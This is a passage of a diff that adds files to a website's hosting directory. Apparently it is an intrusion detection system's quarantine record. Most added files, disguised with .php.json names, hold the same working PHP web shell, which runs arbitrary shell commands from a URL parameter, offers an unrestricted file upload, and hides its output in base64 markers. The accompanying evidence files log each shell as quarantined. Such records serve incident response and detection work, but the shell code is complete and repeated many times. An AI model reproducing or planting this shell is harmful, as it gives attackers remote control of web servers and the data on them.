+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json.evidence.json
new file mode 100644
index 0000000..cbc0e60
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2865",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_fcmkp9am.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866429,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_fcmkp9am.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json b/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json.evidence.json
new file mode 100644
index 0000000..9b8371c
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2873",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_gx74cxjp.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838194,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_gx74cxjp.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json b/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json.evidence.json
new file mode 100644
index 0000000..230c3e8
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2862",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_ixxtxhjy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783951629,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_ixxtxhjy.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json b/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json.evidence.json
new file mode 100644
index 0000000..997d490
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2851",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_k72j0c9s.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866468,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_k72j0c9s.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json b/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json.evidence.json
new file mode 100644
index 0000000..a71f8d7
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2825",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_mvo7778m.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838201,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_mvo7778m.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json b/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json.evidence.json
new file mode 100644
index 0000000..7e0aba8
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2853",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_nx6e9wei.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783870295,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_nx6e9wei.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json b/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json.evidence.json
new file mode 100644
index 0000000..60a6b5d
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2922",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_oqdklpwt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783870216,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_oqdklpwt.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json b/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json.evidence.json
new file mode 100644
index 0000000..17a357a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2910",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_q9pnu7nm.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783909515,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_q9pnu7nm.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json b/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json.evidence.json
new file mode 100644
index 0000000..5c9ff2d
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2886",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_t49gsxsb.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866426,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_t49gsxsb.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json b/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json.evidence.json
new file mode 100644
index 0000000..3eb704b
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2891",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_tgzxhs6h.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783909515,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_tgzxhs6h.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json b/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json.evidence.json
new file mode 100644
index 0000000..8859c1d
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2837",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_txdr2don.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783865770,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_txdr2don.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json b/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
